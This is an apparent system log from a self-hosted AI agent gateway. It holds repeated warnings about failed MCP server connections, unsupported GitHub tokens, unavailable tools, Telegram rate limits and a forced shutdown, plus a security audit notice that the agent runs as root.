2026-09-08 06:21:50,725 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 06:21:50,744 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 06:21:50,752 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 06:21:50,771 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 06:21:57,814 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:27:04,619 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:27:43,173 WARNING [20260908_062150_cc7b49] agent.tool_executor: Tool terminal returned error (0.04s): {"output": "/opt/ai-os/products/ceo/content/research\n/opt/ai-os/products/ceo\nfatal: this worktree is not sparse", "exit_code": 128, "error": null} 2026-09-08 06:32:12,417 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:37:20,435 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:40:10,154 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-08 06:40:11,424 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-08 06:40:18,659 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 06:40:18,659 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 06:40:18,820 WARNING agent.replay_cleanup: Recovered dangling side-effecting tool call(s) as UNKNOWN instead of erasing them 2026-09-08 06:40:26,164 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 06:40:26,173 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-08 06:40:26,178 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-08 06:40:26,246 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 06:40:26,254 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 06:40:26,255 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-08 06:40:26,257 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-08 06:40:26,465 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-08 06:43:50,213 WARNING agent.model_metadata: Could not determine context length for model 'complex' (base_url=http://localhost:20128/v1) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-08 06:44:07,051 WARNING [20260908_062150_cc7b49] agent.tool_executor: Tool terminal returned error (0.05s): {"output": "* * * * * /usr/bin/python3 /root/auto_unlock_ag.py >/dev/null 2>&1\n*/10 * * * * /bin/bash /root/scripts/git-sync.sh >> /root/github-sync.log 2>&1", "exit_code": 1, "error": null, "exit_co 2026-09-08 07:53:23,446 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-08 07:53:24,332 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-08 07:53:25,833 WARNING hermes.security_audit: Security posture audit found 1 issue(s) — review your deployment: 2026-09-08 07:53:25,834 WARNING hermes.security_audit: [security 1/1] Running as ROOT. The agent's terminal/file tools execute with full root privileges — a single prompt-injection or exposed endpoint is a full host compromise. Run Hermes as an unprivileged user (or in a sandboxed terminal backend / container with a non-root user). 2026-09-08 07:53:31,994 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Discovering Telegram API fallback IPs via DNS-over-HTTPS… 2026-09-08 07:53:32,418 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Connecting to Telegram (attempt 1/8)… 2026-09-08 07:53:43,019 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] set_my_commands FAILED for scope BotCommandScopeDefault: Flood control exceeded. Retry in 338 seconds 2026-09-08 07:53:43,211 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] set_my_commands FAILED for scope BotCommandScopeAllPrivateChats: Flood control exceeded. Retry in 375 seconds 2026-09-08 07:53:43,401 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] set_my_commands FAILED for scope BotCommandScopeAllGroupChats: Flood control exceeded. Retry in 360 seconds 2026-09-08 07:53:58,004 WARNING hermes_plugins.feishu_platform.adapter: [Feishu] Unable to hydrate bot name from application info. Grant admin:app.info:readonly or application:application:self_manage so group @mention gating can resolve the bot name precisely. 2026-09-08 07:53:58,507 ERROR Lark: connect failed, err: 1000040351: Incorrect domain name 2026-09-08 07:53:59,359 WARNING gateway.session: gateway.session: pruning stale sessions.json entry 'agent:main:telegram:group:-1003707758328:1' -> 20260722_133203_55e97469 (end_reason='agent_close'); left by a crashed gateway 2026-09-08 07:54:05,301 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 07:54:05,325 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-08 07:54:05,330 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-08 07:54:05,374 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 07:54:05,381 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 07:54:05,383 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-08 07:54:05,385 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-08 07:54:05,785 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-08 07:54:10,295 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram flood control on send (attempt 1/3), retrying in 585.0s: Flood control exceeded. Retry in 585 seconds 2026-09-08 07:54:38,424 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-08 07:54:38,758 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-08 07:55:09,820 WARNING cron.scheduler: Job 'cf6e57640673': live adapter send to telegram:-1003707758328 timed out before the coroutine was dispatched, falling back to standalone 2026-09-08 07:55:10,097 WARNING tools.send_message_tool: Transient Telegram send failure (attempt 1/3), retrying in 361.0s: Flood control exceeded. Retry in 361 seconds 2026-09-08 07:55:45,476 WARNING gateway.run: Shutdown context: signal=SIGTERM under_systemd=yes parent_pid=1 parent_name=systemd loadavg_1m=0.59 parent_cmdline='/usr/lib/systemd/systemd --system --deserialize=98' 2026-09-08 07:55:46,123 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram flood control on send (attempt 1/3), retrying in 362.0s: Flood control exceeded. Retry in 362 seconds 2026-09-08 07:56:45,486 CRITICAL gateway.shutdown_watchdog: Shutdown watchdog fired after 60s — forcing process exit (asyncio drain path appears wedged; see /root/.hermes/logs/gateway-shutdown-watchdog.log) 2026-09-08 09:00:27,459 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:00:27,459 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:00:31,213 WARNING agent.runtime_cwd: configured working directory does not exist: /opt/ai-os/products/ceo/content/research 2026-09-08 09:00:39,712 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:00:39,712 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:00:39,899 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=default) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-08 09:02:42,350 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:02:42,350 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:07:03,276 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 09:07:06,360 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 09:07:06,368 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-08 09:07:06,373 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-08 09:07:06,423 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 09:07:06,431 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 09:07:06,433 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-08 09:07:06,434 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-08 09:07:11,386 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:07:11,387 WARNING tools.mcp_tool: Failed to connect to MCP server 'stays' (command=stays mcp): Connection closed 2026-09-08 09:07:11,403 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 09:12:18,539 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:13:40,937 WARNING agent.runtime_cwd: configured working directory does not exist: /opt/ai-os/products/ceo/content/research 2026-09-08 09:13:43,683 WARNING [20260908_090703_bfa928] tools.environments.local: LocalEnvironment cwd '/opt/ai-os/products/ceo/content/research' is missing on disk; falling back to '/opt/ai-os/products/ceo/content' so terminal commands keep working. 2026-09-08 09:13:43,730 WARNING [20260908_090703_bfa928] agent.tool_executor: Tool read_file returned error (0.05s): {"content": "", "total_lines": 0, "file_size": 0, "truncated": false, "is_binary": false, "is_image": false, "error": "File not found: /root/.hermes/profiles/reviewer/cron/output/2e50b1c88a37/2026-09- 2026-09-08 09:14:42,154 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:14:42,154 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:14:43,890 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:14:43,891 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:15:19,926 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:15:19,926 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:15:20,386 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:15:20,386 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:15:20,961 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:15:20,962 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:15:41,486 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 09:15:41,540 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 09:15:41,570 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 09:15:41,610 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 09:15:48,434 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:16:10,135 WARNING [20260908_090703_bfa928] agent.tool_executor: Tool skill_manage returned error (0.18s): {"success": false, "error": "Skill 'operate:hermes-cron-ops' not found in active profile 'reviewer'. Use skills_list() to see available skills."} 2026-09-08 09:16:16,684 WARNING [20260908_090703_bfa928] agent.tool_executor: Tool skill_manage returned error (0.08s): {"success": false, "error": "Refusing background curator patch for skill 'hermes-cron-ops': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, or 2026-09-08 09:16:28,998 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:16:28,998 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 09:20:56,318 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:26:03,363 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:31:10,848 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:36:18,183 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:41:25,313 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:46:32,923 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:51:41,333 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 09:56:47,703 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:01:55,050 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:07:01,828 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:12:09,742 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:17:18,745 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:22:25,641 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:27:32,827 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:32:39,317 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:37:45,891 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:42:53,610 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:48:00,886 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:53:07,703 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 10:58:15,052 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:03:23,173 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:08:30,299 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:13:36,919 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:18:44,702 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:23:51,408 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:28:58,045 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:34:04,589 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:39:11,958 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:44:19,965 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:49:26,497 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:54:33,543 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 11:59:41,017 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:04:48,393 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:09:54,848 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:15:02,428 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:20:10,205 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:25:18,441 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:30:26,656 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:35:34,461 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:40:40,935 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:45:47,905 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:50:55,460 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 12:56:03,963 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:01:12,340 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:02:01,904 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 13:02:01,905 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 13:06:20,486 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:11:27,885 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:16:35,873 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:21:44,192 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:26:51,469 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:31:58,271 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:37:05,747 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:42:12,356 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:47:19,509 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:52:27,111 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 13:57:35,227 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:02:43,316 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:07:51,013 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:12:57,878 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:18:05,250 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:23:12,112 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:28:19,330 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:33:27,756 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:38:35,684 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:43:42,493 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:48:48,987 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:52:12,622 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 14:52:12,622 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 14:52:43,058 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; 